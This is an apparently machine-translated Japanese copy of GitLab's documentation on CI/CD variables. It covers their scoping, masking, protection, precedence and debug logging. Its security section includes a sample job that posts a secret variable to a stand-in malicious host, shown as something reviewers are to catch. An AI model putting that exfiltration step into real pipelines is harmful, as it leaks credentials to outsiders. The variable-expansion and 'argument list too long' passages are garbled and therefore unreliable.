GitLab CI/CD変数

CI/CD変数は環境変数の一種です。以下のような使い方ができます:

  • ジョブやパイプラインの動作を制御します。
  • 再利用したい値を保存します。
  • .gitlab-ci.yml ファイルの値のハードコーディングは避けてください。

特定のパイプラインの変数値を手動でオーバーライドしたり、手動パイプラインでプリフィルすることができます。

変数名は、Runnerがスクリプトの実行に使用するシェルによって制限されます。各シェルには独自の予約変数名があります。

一貫した動作を保証するために、変数の値は常にシングルクォートまたはダブルクォートで囲む必要があります。変数は内部的にPsych YAML パーサーによって解析されるため、引用符で囲まれた変数とそうでない変数では解析が異なることがあります。たとえば、VAR1: 012345 は8進数値として解釈されるため、値は5349となりますが、VAR1: "012345" は文字列として解析され、値は012345となります。

GitLab CI/CDの高度な使い方については、GitLabエンジニアが共有する7つの高度なGitLab CIワークフローハックをご覧ください。

定義済みのCI/CD変数

GitLab CI/CDは、パイプライン設定やジョブスクリプトで使用できる、定義済みのCI/CD変数のセットを用意しています。これらの変数には、ジョブやパイプラインに関する情報や、パイプラインがトリガーされたり実行されたりするときに必要となるその他の値がコンテナとして含まれています。

あらかじめ定義された CI/CD 変数は、.gitlab-ci.yml で宣言せずに使用できます。例えば

job1:
  stage: test
  script:
    - echo "The job's stage is '$CI_JOB_STAGE'"

この例のスクリプトはThe job's stage is 'test' を出力します。

.gitlab-ci.yml ファイルに CI/CD 変数を定義します。

.gitlab-ci.yml ファイルに CI/CD 変数を作成するには、variables キーワードで変数と値を定義します。

.gitlab-ci.yml ファイルに保存された変数は、リポジトリにアクセスできるすべてのユーザーが見ることができます。例えば、DATABASE_URL 変数に保存されたデータベースの URL です。シークレットやキーのような値を含む機密変数は、プロジェクト設定に保存してください。

variables はジョブ内か.gitlab-ci.yml ファイルのトップレベルで使用できます。変数が定義されている場合:

  • トップレベルでは、グローバルに使用可能で、すべてのジョブが使用できます。
  • ジョブ内では、そのジョブのみが使用できます。

使用例:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables:
    JOB_VAR: "A job variable"
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

job2:
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

この例では:

  • job1 出力Variables are 'A global variable' and 'A job variable'
  • job2 出力Variables are 'A global variable' and ''

value およびdescription キーワードを使用して、手動トリガーのパイプラインにプリフィルされる変数を定義します。

単一ジョブでのグローバル変数のスキップ

ジョブ内でグローバルに定義された変数を使用したくない場合は、variables{} に設定してください:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables: {}
  script:
    - echo This job does not need any variables

CI/CD 変数を UI で定義します。

トークンやパスワードのような機密変数は、.gitlab-ci.yml ファイル](#define-a-cicd-variable-in-the-gitlab-ciyml-file) の[ではなく、UI の設定に保存されるべきです。UIでCI/CD変数を定義します:

  • UIでCI/CD変数を定義します
  • グループの設定で、グループ内のすべてのプロジェクトに対して。
  • インスタンスの設定で、GitLabインスタンス内の全てのプロジェクト。

あるいは、APIを使ってこれらの変数を追加することもできます:

デフォルトでは、フォークされたプロジェクトのパイプラインは、親プロジェクトで利用可能な CI/CD 変数にアクセスできません。フォークからのマージリクエストに対して親プロジェクトでマージリクエストパイプラインを実行すると、すべての変数がパイプラインで利用可能になります。

プロジェクトの場合

  • GitLab 15.7で導入された、プロジェクトは最大200個のCI/CD変数を定義することができます。
  • GitLab 15.9で更新され、プロジェクトは最大8000個のCI/CD変数を定義できるようになりました。

プロジェクトの設定にCI/CD変数を追加できます。

前提条件

  • メンテナーのロールを持つプロジェクトメンバーである必要があります。

プロジェクト設定で変数を追加または更新するには:

  1. プロジェクトの設定→CI/CDで、変数セクションを展開します。
  2. Add variableを選択し、詳細を入力します:
    • キー:1行で、スペースは使用せず、文字、数字、または_のみを使用します。
    • :制限なし。
    • Type:Variable (デフォルト) またはFile.
    • 環境スコープ:オプション。Allまたは特定の環境
    • 変数の保護オプション。選択した場合、変数は保護されたブランチまたは保護されたタグで実行されるパイプラインでのみ使用できます。
    • Mask variableオプション。選択した場合、変数の値はジョブログでマスクされます。値がマスキング要件を満たさない場合、変数は保存に失敗します。

変数を作成したら、.gitlab-ci.yml 設定 またはジョブ スクリプトで使用できます。

グループ

  • GitLab Premium 13.11 で導入された環境スコープのサポート
  • GitLab 15.7で導入された、グループは最大200のCI/CD変数を定義できます。
  • GitLab 15.9で更新され、グループは最大30000個のCI/CD変数を定義できるようになりました。

グループ内のすべてのプロジェクトでCI/CD変数を利用できるようにすることができます。

前提条件

  • オーナーロールを持つグループメンバーである必要があります。

グループ変数を追加するには:

  1. グループで、[Settings] > [CI/CD] に進みます。
  2. Add variableを選択し、詳細を入力します:
    • キー:1行で、スペースは使用せず、文字、数字、または_のみを使用します。
    • :制限なし。
    • Type:Variable (デフォルト) またはFile.
    • 環境スコープ任意。Allまたは特定の環境
    • 変数の保護オプション。選択すると、保護されたブランチまたはタグで実行されるパイプラインでのみ変数が使用可能になります。
    • Mask variableオプション。選択した場合、変数の値はジョブログでマスクされます。値がマスキング要件を満たさない場合、変数は保存に失敗します。

プロジェクトで使用可能なグループ変数は、プロジェクトの[設定] > [CI/CD] > [変数] セクションに一覧表示されます。サブグループの変数は再帰的に継承されます。

インスタンスの場合

CI/CD変数はGitLabインスタンス内の全てのプロジェクトやグループで利用できるようにすることができます。

前提条件

  • インスタンスへの管理者アクセス権が必要です。

インスタンス変数を追加するには:

  1. 左のサイドバーで、Search を選択するか、次のページに進んでください。
  2. Admin Areaを選択します。
  3. Settings > CI/CDを選択し、変数セクションを展開します。
  4. Add variableを選択し、詳細を入力します:
    • キー:1行で、スペースは使用せず、文字、数字、または_のみを使用します。
    • :値:GitLab 13.3以降では、値は10,000文字に制限されますが、ランナーのオペレーティングシステムの制限にも制限されます。GitLab 13.0から13.2では、値は700文字に制限されています。
    • Type:Variable (デフォルト) またはFile.
    • 変数の保護オプション。選択すると、保護されたブランチまたはタグで実行されるパイプラインでのみ変数が使用可能になります。
    • Mask 変数オプション。選択した場合、変数の値はジョブログに表示されません。値がマスク要件を満たさない場合、変数は保存されません。

CI/CD 変数のセキュリティ

.gitlab-ci.yml ファイルにプッシュされたコードは変数を危険にさらす可能性があります。変数が誤ってジョブログで公開されたり、悪意を持ってサードパーティのサーバーに送信されたりする可能性があります。

.gitlab-ci.yml ファイルに変更を加えるすべてのマージリクエストをレビューしてください:

ファイルを追加したりパイプラインを実行したりする前に、インポートしたプロジェクトの.gitlab-ci.yml ファイルをレビューします。

次の例では、.gitlab-ci.yml ファイルに悪意のあるコードが含まれています:

accidental-leak-job:
  script:                                         # Password exposed accidentally
    - echo "This script logs into the DB with $USER $PASSWORD"
    - db-login $USER $PASSWORD

malicious-job:
  script:                                         # Secret exposed maliciously
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

accidental-leak-job のようなスクリプトによって誤ってシークレットが漏れるリスクを減らすために、機密情報を含む変数はすべてジョブログでマスクする必要があります。また、変数を保護されたブランチとタグのみに制限することもできます。

また、GitLabとHashiCorp Vaultのインテグレーションを利用して、シークレットを保存したり取得したりすることもできます。

malicious-job のような悪意のあるスクリプトは、レビュープロセス中に検出する必要があります。レビュアーは、このようなコードを発見しても、決してパイプラインをトリガーすべきではありません。なぜなら、悪意のあるコードは、マスクされた変数と保護された変数の両方を危険にさらす可能性があるからです。

変数値はaes-256-cbc を使って暗号化され、データベースに保存されます。このデータは有効なシークレットファイルがないと読み取れず、復号化もできません。

CI/CD変数のマスク

GitLab 13.12で導入された ~ 文字はマスク変数で使用することができます。

caution
CI/CD変数のマスクは、悪意のあるユーザーによる変数値へのアクセスを防ぐ保証された方法ではありません。マスキング機能は “最善の努力 “であり、変数が誤って公開された場合に役立ちます。変数をよりセキュアにするために、env/printenv のようなコマンドが秘密の変数を出力するのを防ぐために、内部シークレットや ファイルタイプ変数を使用することを検討してください。

プロジェクト、グループ、またはインスタンスの CI/CD 変数をマスクして、変数の値がジョブログに表示されないようにすることができます。

前提条件

  • UIでCI/CD変数を定義するために必要なのと同じロールまたはアクセスレベルを持っている必要があります。

変数をマスクするには

  1. プロジェクト、グループ、または管理エリアで、[Settings] > [CI/CD] に進みます。
  2. 変数セクションを展開します。
  3. 保護したい変数の横にある「編集」を選択します。
  4. 変数のマスクチェックボックスを選択します。
  5. 変数の更新を選択します。

変数のマスクに使用される方法は、マスクされた変数に含めることができるものを制限します。変数の値は必ず

  • 一行であること。
  • 8文字以上で、以下の文字のみで構成されていること:
    • Base64アルファベット(RFC4648)の文字。
    • @,:,., または~ の文字。
  • 既存の定義済みまたはカスタム CI/CD 変数の名前と一致しません。

GitLab Runnerのバージョンによって、マスキングの制限が異なります:

バージョン制限事項
v14.1.0以前大きなシークレット(4KiB以上)のマスキングは、潜在的に明らかになる可能性があります。センシティブな URL パラメータのマスキングはありません。
v14.2.0からv15.3.0へ大きなシークレット(4KiB以上)の末尾が明らかになる可能性があります。センシティブな URL パラメータのマスキングはありません。
v15.7.0以降 CI_DEBUG_SERVICES が有効になっている場合、シークレットが明らかになる可能性があります。詳しくは、サービスコンテナのロギングをお読みください。

CI/CD変数の保護

プロジェクト、グループ、またはインスタンスのCI/CD変数は、保護されたブランチまたは保護されたタグで実行されるパイプラインでのみ利用できるように設定できます。

ブランチやタグではなく、一時的なマージコミットで実行されるマージ結果パイプラインは、これらの変数にアクセスできません。一時マージコミットを使用しないマージリクエストパイプラインは、ブランチが保護されたブランチであれば、これらの変数にアクセスできます。

前提条件

  • UIでCI/CD変数を定義するために必要なのと同じロールまたはアクセスレベルを持っている必要があります。

変数を保護設定するには

  1. プロジェクト、グループ、またはインスタンスの管理エリアで、[設定] > [CI/CD] に進みます。
  2. 変数セクションを展開します。
  3. 保護したい変数の横にある「編集」を選択します。
  4. 変数の保護チェックボックスを選択します。
  5. 変数の更新を選択します。

この変数は、それ以降のすべてのパイプラインで利用可能です。

ファイル型CI/CD変数の使用

すべての定義済みCI/CD変数と.gitlab-ci.yml ファイルで定義された変数は「変数」タイプです( API](#define-a-cicd-variable-in-the-ui)のenv_var の[variable_type )。変数タイプ変数:

  • キーと値のペアで構成されます。
  • 環境変数としてジョブで利用可能です:
    • CI/CD 変数キーが環境変数名です。
    • CI/CD 変数値を環境変数値として指定します。

プロジェクト、グループ、インスタンスのCI/CD変数はデフォルトでは “変数 “タイプですが、オプションで “ファイル “タイプに設定することもできます( APIfilevariable_type)。ファイル型変数:

  • キー、値、ファイルで構成されます。
  • 環境変数としてジョブで利用可能です:
    • CI/CD 変数キーが環境変数名です。
    • CI/CD変数の値を一時ファイルに保存します。
    • 環境変数値としての一時ファイルへのパス。

入力としてファイルを必要とするツールには、ファイル型のCI/CD変数を使用します。AWS CLIkubectl はどちらもFile タイプの変数を設定に使用するツールです。

例えば、kubectl を使用している場合:

  • キーがKUBE_URL 、値がhttps://example.com の変数。
  • キーがKUBE_CA_PEM で、値が証明書であるファイルタイプ変数。

変数を受け付ける--server オプションとしてKUBE_URL を渡し、ファイルへのパスを受け付ける--certificate-authority オプションとして$KUBE_CA_PEM を渡します:

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
caution
GitLab 15.6以降でファイル変数の値を別の変数に代入するときは注意してください。他の変数はファイルへのパスではなく、ファイルの内容を値として受け取ります。GitLab 15.7以降ではこの動作は修正され、other変数はファイルへのパスを値として受け取るようになりました。

.gitlab-ci.yml 変数をファイルタイプ変数として使う

.gitlab-ci.yml ファイル](#define-a-cicd-variable-in-the-gitlab-ciyml-file) で定義された CI/CD 変数[をファイル型変数として設定することはできません。入力としてファイルパスを必要とするツールがあり、.gitlab-ci.yml で定義された変数を使用したい場合:

  • 変数の値をファイルに保存するコマンドを実行してください。
  • そのファイルをツールで使用します。

使用例:

variables:
  SITE_URL: "https://example.gitlab.com"

job:
  script:
    - echo "$SITE_URL" > "site-url.txt"
    - mytool --url-file="site-url.txt"

ジョブスクリプトでのCI/CD変数の使用

CI/CD変数はすべてジョブの環境変数として設定されます。ジョブスクリプトでは、各環境のシェルの標準書式で変数を使用できます。

環境変数にアクセスするには、Runner Executorのシェルの構文を使用してください。

Bash、sh 、および類似の

Bash、sh 、および同様のシェルで環境変数にアクセスするには、CI/CD変数の前に($)を付けます:

job_name:
  script:
    - echo "$CI_JOB_ID"

PowerShellの場合

システムによって設定された環境変数を含め、Windows PowerShell 環境の変数にアクセスするには、変数名の前に$env: または$ を付けます:

job_name:
  script:
    - echo $env:CI_JOB_ID
    - echo $CI_JOB_ID
    - echo $env:PATH

環境変数を正しく展開するには、引用符で囲む必要がある場合があります:

job_name:
  script:
    - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test

Windowsバッチでは

WindowsバッチでCI/CD変数にアクセスするには、% で変数を囲みます:

job_name:
  script:
    - echo %CI_JOB_ID%

変数を! で囲んで遅延展開することもできます。空白や改行を含む変数では、遅延展開が必要になることがあります:

job_name:
  script:
    - echo !ERROR_MESSAGE!

サービスコンテナでは

サービスコンテナはCI/CD変数を使用できますが、デフォルトでは.gitlab-ci.yml ファイル](#define-a-cicd-variable-in-the-gitlab-ciyml-file) に保存された[変数のみにアクセスできます。

GitLab UI でデフォルトで設定されている変数は、サービスコンテナでは利用できません。UI で定義された変数をサービスコンテナで使えるようにするには、.gitlab-ci.yml で割り当て直してください:

variables:
  SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI

環境変数を別のジョブに渡す

ジョブの中で新しい環境変数を作成し、後のステージで別のジョブに渡すことができます。これらの変数はパイプラインを設定する CI/CD 変数として使用することはできませんが、ジョブスクリプトで使用することができます。

ジョブで作成した環境変数を他のジョブに渡すには:

  1. ジョブスクリプトで、変数を.env ファイルとして保存します。
    • ファイルの形式は、1行に1つの変数定義でなければなりません。
    • 各行の書式はVARIABLE_NAME=ANY VALUE HERE.
    • 値は引用符で囲むことができますが、改行文字を含めることはできません。
  2. .env ファイルをartifacts:reports:dotenv アーティファクトとして保存します。
  3. ジョブがdotenv 変数 を受け取らないように設定されていない限り、後のステージのジョブはスクリプトで変数を使用できます。

使用例:

build-job:
  stage: build
  script:
    - echo "BUILD_VARIABLE=value_from_build_job" >> build.env
  artifacts:
    reports:
      dotenv: build.env

test-job:
  stage: test
  script:
    - echo "$BUILD_VARIABLE"  # Output is: 'value_from_build_job'

例えば、dotenv レポートの変数は、ジョブ定義変数のような特定のタイプの新しい変数定義よりも優先されます。

dotenv 変数をダウンストリームパイプラインに渡すこともできます。

dotenv 変数を受け取るジョブを制御します。

dependencies またはneeds キーワードを使用して、どのジョブがdotenv アーティファクトを受け取るかを制御できます。

dotenv アーティファクトから環境変数を受け取らないようにするには:

  • 空のdependencies またはneeds 配列を渡します。
  • false としてneeds:artifacts を渡します。
  • dotenv アーティファクトを持たないジョブのみをリストアップするよう、needs を設定してください。

使用例:

build-job1:
  stage: build
  script:
    - echo "BUILD_VERSION=v1.0.0" >> build.env
  artifacts:
    reports:
      dotenv: build.env

build-job2:
  stage: build
  needs: []
  script:
    - echo "This job has no dotenv artifacts"

test-job1:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is: 'v1.0.0'
  dependencies:
    - build

test-job2:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is ''
  dependencies: []

test-job3:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is: 'v1.0.0'
  needs:
    - build-job1

test-job4:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is: 'v1.0.0'
  needs:
    job: build-job1
    artifacts: true

test-job5:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is ''
  needs:
    job: build-job1
    artifacts: false

test-job6:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is ''
  needs:
    - build-job2

1つの変数に複数の値を格納

値の配列であるCI/CD変数を作成することはできませんが、シェルスクリプトのテクニックを使って同様の動作をさせることができます。

例えば、複数の値をスペースで区切って変数に格納し、スクリプトでループさせることができます:

job1:
  variables:
    FOLDERS: src test docs
  script:
    - |
      for FOLDER in $FOLDERS
        do
          echo "The path is root/${FOLDER}"
        done

CI/CD変数を他の変数で使用

他の変数の中で変数を使用することができます:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS"'
  script:
    - 'eval "$LS_CMD"'  # Executes 'ls -al'

CI/CD 変数の内部で$ を使用します。

$ を他の変数の開始として解釈されたくない場合は、代わりに$$ を使用してください:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
  script:
    - 'eval "$LS_CMD"'  # Executes 'ls -al $TMP_DIR'

CI/CD変数の展開を防ぐ

GitLab 15.7 で導入されました

展開された変数は、その文字を持つ値を$ 別の変数への参照として $扱います。$ CI/CD変数はデフォルトで展開されます。 $文字を$ 含む変数を $生の文字列として扱うには、変数の展開を無効にしてください。

前提条件

  • UIでCI/CD変数を定義するために必要なのと同じロールまたはアクセスレベルを持っている必要があります。

変数の変数展開を無効にするには:

  1. プロジェクトまたはグループで、[Settings] > [CI/CD] に進みます。
  2. 変数セクションを展開します。
  3. 展開したくない変数の横で、「編集」を選択します。
  4. 変数の展開]チェックボックスをオフにします。
  5. 変数の更新を選択します。

CI/CD変数の優先順位

同じ名前のCI/CD変数を異なる場所で使用することができますが、値は互いに上書きされる可能性があります。変数の種類と定義場所によって、どの変数が優先されるかが決まります。

変数の優先順位の高いものから低いものです。

  1. これらの変数の優先順位はすべて同じです:
  2. プロジェクト変数
  3. グループ変数。グループとそのサブグループに同じ変数名が存在する場合、ジョブは最も近いサブグループの値を使用します。例えば、Group > Subgroup 1 > Subgroup 2 > Project の場合、Subgroup 2 で定義された変数が優先されます。
  4. インスタンス変数
  5. dotenv レポートの変数.
  6. .gitlab-ci.yml ファイルのジョブで定義された変数。
  7. .gitlab-ci.yml ファイルでジョブ外部 (グローバル) に定義された変数。
  8. デプロイメント変数
  9. 定義済みの変数

使用例:

variables:
  API_TOKEN: "default"

job1:
  variables:
    API_TOKEN: "secure"
  script:
    - echo "The variable is '$API_TOKEN'"

この例では、ジョブ内で定義された変数の方がグローバルに定義された変数よりも優先順位が高いため、job1The variable is 'secure' を出力します。

定義されたCI/CD変数のオーバーライド

変数の値を上書きすることができます:

定義済みの変数を上書きすると、パイプラインが予期しない動作をする可能性があるため、避ける必要があります。

変数をオーバーライドできる人を制限します。

GitLab 13.8 で導入されました

変数の上書きは、メンテナーのロールを持つユーザーだけに制限することができます。他のユーザーが変数を上書きしたパイプラインを実行しようとすると、Insufficient permissions to set pipeline variables のエラーメッセージが表示されます。

この機能を有効にするには、プロジェクト API を使用してrestrict_user_defined_variables 設定を有効にします。デフォルトはdisabled です。

CI/CDの設定を別のリポジトリに保存する場合、パイプラインの実行環境を制御するためにこの設定を使用します。

トラブルシューティング

すべての変数のリスト

Bash のexport コマンドや PowerShell のdir env: コマンドを使用すると、スクリプトで使用可能なすべての変数を一覧表示できます。これにより、使用可能なすべての変数の値が公開されるため、セキュリティ リスクが生じる可能性があります。マスクされた変数は[masked]として表示されます。

たとえば、Bash の場合:

job_name:
  script:
    - export

ジョブログ出力の例(切り捨て):

export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="main"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="[masked]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab"
export CI_PROJECT_NAME="gitlab"
export CI_PROJECT_TITLE="GitLab"
...

デバッグログを有効にします

caution
デバッグロギングは深刻なセキュリティリスクになる可能性があります。出力にはジョブが利用できるすべての変数とその他のシークレットの内容が含まれます。出力は GitLab サーバーにアップロードされ、ジョブログで見ることができます。

デバッグロギングは、パイプライン設定やジョブスクリプトのトラブルシューティングに役立ちます。デバッグロギングは通常ランナーによって隠されているジョブ実行の詳細を公開し、ジョブログをより冗長にします。また、ジョブが利用可能なすべての変数とシークレットを公開します。

デバッグログを有効にする前に、チームメンバーのみがジョブログを閲覧できることを確認してください。また、ログを再び公開する前に、デバッグ出力を含むジョブログを削除してください。

デバッグログを有効にするには、CI_DEBUG_TRACE 変数をtrue に設定します:

job_name:
  variables:
    CI_DEBUG_TRACE: "true"

出力例(切り捨て):

...
export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
  echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
  $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
  $'\''git'\'' "config" "fetch.recurseSubmodules" "false"
  $'\''rm'\'' "-f" ".git/index.lock"
  $'\''git'\'' "clean" "-ffdx"
  $'\''git'\'' "reset" "--hard"
  $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
  $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
++ CI_BUILDS_DIR=/builds
++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ export CI_CONCURRENT_ID=87
++ CI_CONCURRENT_ID=87
++ export CI_CONCURRENT_PROJECT_ID=0
++ CI_CONCURRENT_PROJECT_ID=0
++ export CI_SERVER=yes
++ CI_SERVER=yes
++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp
++ echo -n '-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----'
++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ export CI_PIPELINE_ID=52666
++ CI_PIPELINE_ID=52666
++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ export CI_JOB_ID=7046507
++ CI_JOB_ID=7046507
++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ export CI_JOB_TOKEN=[MASKED]
++ CI_JOB_TOKEN=[MASKED]
++ export CI_REGISTRY_USER=gitlab-ci-token
++ CI_REGISTRY_USER=gitlab-ci-token
++ export CI_REGISTRY_PASSWORD=[MASKED]
++ CI_REGISTRY_PASSWORD=[MASKED]
++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ export CI_JOB_NAME=debug_trace
++ CI_JOB_NAME=debug_trace
++ export CI_JOB_STAGE=test
++ CI_JOB_STAGE=test
++ export CI_NODE_TOTAL=1
++ CI_NODE_TOTAL=1
++ export CI=true
++ CI=true
++ export GITLAB_CI=true
++ GITLAB_CI=true
++ export CI_SERVER_URL=https://gitlab.com:3000
++ CI_SERVER_URL=https://gitlab.com:3000
++ export CI_SERVER_HOST=gitlab.com
++ CI_SERVER_HOST=gitlab.com
++ export CI_SERVER_PORT=3000
++ CI_SERVER_PORT=3000
++ export CI_SERVER_SHELL_SSH_HOST=gitlab.com
++ CI_SERVER_SHELL_SSH_HOST=gitlab.com
++ export CI_SERVER_SHELL_SSH_PORT=22
++ CI_SERVER_SHELL_SSH_PORT=22
++ export CI_SERVER_PROTOCOL=https
++ CI_SERVER_PROTOCOL=https
++ export CI_SERVER_NAME=GitLab
++ CI_SERVER_NAME=GitLab
++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ export CI_PROJECT_ID=17893
++ CI_PROJECT_ID=17893
++ export CI_PROJECT_NAME=ci-debug-trace
++ CI_PROJECT_NAME=ci-debug-trace
...

デバッグログへのアクセスを制限

デバッグログへのアクセスを制限することができます。制限された場合、変数でデバッグロギングが有効になっているとき、少なくとも開発者ロールを持つユーザーのみがジョブログを見ることができます:

caution
CI_DEBUG_TRACE をローカル変数として Runner に追加すると、デバッグログが生成され、ジョブログにアクセスできるすべてのユーザーに見えるようになります。権限レベルはRunnerによってチェックされないので、GitLab自身でのみこの変数を使うべきです。

既知のイシューと回避策

CI/CD変数に関する既知のイシューと、該当する場合の既知の回避策です。

“引数リストが長すぎる”

このイシューは、ジョブに対して定義されたすべての CI/CD 変数の長さの合計が、ジョブが実行されるシェルによって課される制限を超えた場合に発生します。これには定義済み変数とユーザー定義変数の名前と値が含まれます。この制限は一般的にARG_MAX, と呼ばれ、シェルやオペレーションシステムに依存 ARG_MAXします。ARG_MAXこのイシューは ARG_MAXARG_MAX1 つのファイル型 ARG_MAX変数の内容がARG_MAX.File を超える場合にも発生 ARG_MAXします。

詳細については、イシュー392406 を参照してください。

回避策として、以下の方法があります:

  • 可能であれば、大きな環境変数にはファイル型のCI/CD変数を使用してください。
  • 一つの大きな変数がARG_MAX より大きい場合は、Secure Files を使うか、他のメカニズムでファイルをジョブに持ってくるようにしてください。